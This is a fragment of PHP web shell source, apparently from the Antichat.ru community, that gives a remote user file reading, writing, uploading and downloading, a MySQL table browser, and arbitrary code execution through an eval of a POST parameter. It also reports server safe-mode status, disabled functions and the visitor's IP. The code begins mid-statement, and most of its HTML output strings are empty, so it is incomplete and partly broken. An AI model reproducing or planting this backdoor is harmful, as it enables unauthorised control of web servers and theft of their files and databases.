$v) {
$_POST[$k] = stripslashes($v);
}
}
@ini_set('max_execution_time',0);
if(@ini_get('safe_mode') == '1') {
$safe_mode="ON";
} else {
$safe_mode="OFF";
}
if(@ini_get('disable_functions') != "") {
$disfunc = ini_get('disable_functions');
} else {
$disfunc = 0;
}
if(strtoupper(substr(PHP_OS, 0, 3))==='WIN') {
$os = 1;
} else {
$os = 0;
}
$action = $_POST['action'];
$file = $_POST['file'];
$dir = $_POST['dir'];
$content = '';
$stdata = '';
$style = '';
$header = '
";
function writef($file,$data){
$fp = fopen($file, "w+");
fwrite($fp, $data);
fclose($fp);
}
function readf($file){
clearstatcache();
$f = fopen($file, "r");
$contents = fread($f,filesize($file));
fclose($f);
return htmlspecialchars($contents);
}
if(@$_POST['save'])
writef($file, $_POST['data']);
if(@$_POST['create'])
writef($file,"");
$test = test_file($file);
if($test ==1 ){
$content.="";
}
if($test > 2){
$content.="";
}
}
//viewer
if($action == 'viewer'){
$content.="";
}
}
}
//downloader
if($action == 'download') {
header('Content-Length:'.filesize($file).'');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$file.'"');
readfile($file);
}
//phpeval
if($action == 'phpeval') {
$content.="";
if(isset($_POST['phpev']))
$content .=eval($_POST['phpev']);
}
//upload
if($action == 'upload') {
if(isset($_POST['dirupload'])) {
$dirupload = $_POST['dirupload'];
} else {
$dirupload = $dir;
}
$form_win = "
";
@$base = $_POST['base'];
@$db = $_POST['db'];
$content .=" [Всего таблиц: $tc]";
if($base){
$content .=" Таблица: [$tbl] ";
$result = mysql_list_tables($db);
while($str=mysql_fetch_array($result)){
$c = mysql_query ("SELECT COUNT(*) FROM $str[0]");
$records = mysql_fetch_array($c);
$content .="";
mysql_free_result($c);
}}
$content .="
";
@$vn = $_POST['vn'];
$content .= "База данных: $db => $vn ";
@$inside = $_POST['inside'];
@$tbl = $_POST['tbl'];
if($inside){
$content .= "";
}}}
//end function
?>=$header;?>
Safe mode: Disable functions: OS: Server:
Id: echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?>
Status: |
| Copyright by Antichat.ru | Made by Grinay | Modified by Go0o$E Last update by Isis | |
=$footer;?>
| |